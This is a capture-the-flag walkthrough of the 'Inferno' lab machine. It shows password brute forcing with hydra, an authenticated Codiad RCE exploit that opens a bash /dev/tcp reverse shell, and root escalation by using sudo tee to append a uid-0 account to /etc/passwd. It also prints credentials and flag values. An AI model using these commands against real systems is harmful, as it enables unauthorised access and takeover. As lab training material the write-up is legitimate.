Real Life machine + CTF. The machine is designed to be real-life (maybe not?) and is perfect for newbies starting out in penetration testing
“Midway upon the journey of our life I found myself within a forest dark, For the straightforward pathway had been lost. Ah me! how hard a thing it is to say What was this forest savage, rough, and stern, Which in the very thought renews the fear.”
There are 2 hash keys located on the machine (user - local.txt and root - proof.txt), can you find them and become root?
Remember: in the nine circles of Hell you will find some demons that will try to prevent your access, ignore them and move on. (if you can)
Initial foothold
Nmap discovers 2 ports:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA) | 256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA) |_ 256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Dante's Inferno Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web enumeration
Gobuster discovers a hidden /inferno directory:
┌──(kali㉿kali)-[/data/Inferno]
└─$ gobuster dir -u http://10.10.131.118 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.131.118
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/05 14:02:55 Starting gobuster in directory enumeration mode
===============================================================
/inferno (Status: 401) [Size: 460]
/server-status (Status: 403) [Size: 278]
===============================================================
2021/05/05 14:31:32 Finished
===============================================================
Brute force the web authentication
Browsing this new resource requires an authentication (HTTP Basic authentication). We can assume that admin would be a valid user, let’s try to brute force the password:
┌──(kali㉿kali)-[/data/Inferno] └─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.131.118 http-get /inferno Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-05 15:01:41 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-get://10.10.131.118:80/inferno [STATUS] 1669.00 tries/min, 1669 tries in 00:01h, 14342730 to do in 143:14h, 16 active [STATUS] 1760.33 tries/min, 5281 tries in 00:03h, 14339118 to do in 135:46h, 16 active [STATUS] 1845.43 tries/min, 12918 tries in 00:07h, 14331481 to do in 129:26h, 16 active [80][http-get] host: 10.10.131.118 login: admin password: dante1 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-05 15:09:23
Valid combination found: admin:dante1
Codiad
We land to another authentication page, that accepts the same credentials as the HTTP Basic authentication.
We are now in “Codiad”, an online editor.
I tried to modify PHP files and to upload PHP files, but it failed, as we don’t have write privileges.
Exploit
Searching for exploits affecting codiad reveals 3 exploits, 1 of which being an RCE.
┌──(kali㉿kali)-[/data/Inferno]
└─$ searchsploit codiad
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Codiad 2.4.3 - Multiple Vulnerabilities | php/webapps/35585.txt
Codiad 2.5.3 - Local File Inclusion | php/webapps/36371.txt
Codiad 2.8.4 - Remote Code Execution (Authenticated) | multiple/webapps/49705.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[/data/Inferno/files]
└─$ searchsploit -m 49705
Exploit: Codiad 2.8.4 - Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/49705
Path: /usr/share/exploitdb/exploits/multiple/webapps/49705.py
File Type: ASCII text, with CRLF line terminators
Copied to: /data/Inferno/files/49705.py
Let’s start the exploit (notice that you will need to execute the 2 following commands in 2 windows: echo 'bash -c "bash -i >/dev/tcp/10.8.50.72/4445 0>&1 2>&1"' | nc -lnvp 4444 and nc -lnvp 4445)
┌──(kali㉿kali)-[/data/Inferno/files] └─$ python3 49705.py http://admin:[email protected]/inferno/ admin dante1 10.8.50.72 4444 linux [+] Please execute the following command on your vps: echo 'bash -c "bash -i >/dev/tcp/10.8.50.72/4445 0>&1 2>&1"' | nc -lnvp 4444 nc -lnvp 4445 [+] Please confirm that you have done the two command above [y/n] [Y/n] y [+] Starting... [+] Login Content : {"status":"success","data":{"username":"admin"}} [+] Login success! [+] Getting writeable path... [+] Path Content : {"status":"success","data":{"name":"inferno","path":"\/var\/www\/html\/inferno"}} [+] Writeable Path : /var/www/html/inferno [+] Sending payload...
Now, we have a reverse shell.
┌──(kali㉿kali)-[/data/vpn] └─$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.64.51] 34558 bash: cannot set terminal process group (1005): Inappropriate ioctl for device bash: no job control in this shell [email protected]:/var/www/html/inferno/components/filemanager$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) [email protected]:/var/www/html/inferno/components/filemanager$
You’ll notice that there is a cronjob that will log you off every minute, so you have to be quick.
Lateral move (www-data -> dante)
Navigating through the files in dante’s home reveals an interesting file under Downloads:
[email protected]:/var/www/html/inferno/components/filemanager$ cd ~/Downloads cd ~/Downloads [email protected]:/home/dante/Downloads$ ls -la ls -la total 4420 drwxr-xr-x 2 root root 4096 Jan 11 15:29 . drwxr-xr-x 13 dante dante 4096 Jan 11 15:46 .. -rw-r--r-- 1 root root 1511 Nov 3 2020 .download.dat -rwxr-xr-x 1 root root 137440 Jan 11 15:29 CantoI.docx -rwxr-xr-x 1 root root 141528 Jan 11 15:29 CantoII.docx -rwxr-xr-x 1 root root 88280 Jan 11 15:29 CantoIII.docx -rwxr-xr-x 1 root root 63704 Jan 11 15:29 CantoIV.docx -rwxr-xr-x 1 root root 133792 Jan 11 15:29 CantoIX.docx -rwxr-xr-x 1 root root 43224 Jan 11 15:22 CantoV.docx -rwxr-xr-x 1 root root 133792 Jan 11 15:29 CantoVI.docx -rwxr-xr-x 1 root root 141528 Jan 11 15:29 CantoVII.docx -rwxr-xr-x 1 root root 63704 Jan 11 15:29 CantoX.docx -rwxr-xr-x 1 root root 121432 Jan 11 15:29 CantoXI.docx -rwxr-xr-x 1 root root 149080 Jan 11 15:22 CantoXII.docx -rwxr-xr-x 1 root root 216256 Jan 11 15:22 CantoXIII.docx -rwxr-xr-x 1 root root 141528 Jan 11 15:29 CantoXIV.docx -rwxr-xr-x 1 root root 141528 Jan 11 15:29 CantoXIX.docx -rwxr-xr-x 1 root root 88280 Jan 11 15:29 CantoXV.docx -rwxr-xr-x 1 root root 137440 Jan 11 15:29 CantoXVI.docx -rwxr-xr-x 1 root root 121432 Jan 11 15:29 CantoXVII.docx -rwxr-xr-x 1 root root 2351792 Jan 11 15:22 CantoXVIII.docx -rwxr-xr-x 1 root root 63704 Jan 11 15:29 CantoXX.docx [email protected]:/home/dante/Downloads$ cat .download.dat | xxd -r -p cat .download.dat | xxd -r -p «Or se’ tu quel Virgilio e quella fonte che spandi di parlar sì largo fiume?», rispuos’io lui con vergognosa fronte. «O de li altri poeti onore e lume, vagliami ’l lungo studio e ’l grande amore che m’ha fatto cercar lo tuo volume. Tu se’ lo mio maestro e ’l mio autore, tu se’ solo colui da cu’ io tolsi lo bello stilo che m’ha fatto onore. Vedi la bestia per cu’ io mi volsi; aiutami da lei, famoso saggio, ch’ella mi fa tremar le vene e i polsi». dante:V1rg1l10h3lpm3
The user credentials are revealed at the end of the file.
User flag
At this stage, we can directly connect as dante through SSH using the credentials found just above.
┌──(kali㉿kali)-[/data/Inferno/files] └─$ ssh [email protected] [email protected]:~$ cat local.txt 77f6f3c544ec0811e2d1243e2e0d1835
User flag: 77f6f3c544ec0811e2d1243e2e0d1835
Checking our privileges reveals that we can execute tee as root with sudo without password.
[email protected]:~$ sudo -l Matching Defaults entries for dante on Inferno: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dante may run the following commands on Inferno: (root) NOPASSWD: /usr/bin/tee
Let’s take advantage of this to generate a privileged user:
[email protected]:~$ openssl passwd -1 -salt "inferno" "dante" $1$inferno$vA66L6zp5Qks4kxIc3tvn/ [email protected]:~$ printf 'inferno:$1$inferno$vA66L6zp5Qks4kxIc3tvn/:0:0:root:/root:/bin/bash\n' | sudo tee -a /etc/passwd
Switch to inferno, our newly created privileged user:
[email protected]:~$ su - inferno Password: dante [email protected]:~# cat /root/proof.txt Congrats! You've rooted Inferno! f332678ed0d0767d7434b8516a7c6144 mindsflee
Root flag: f332678ed0d0767d7434b8516a7c6144
如有侵权请联系:admin#unsafe.sh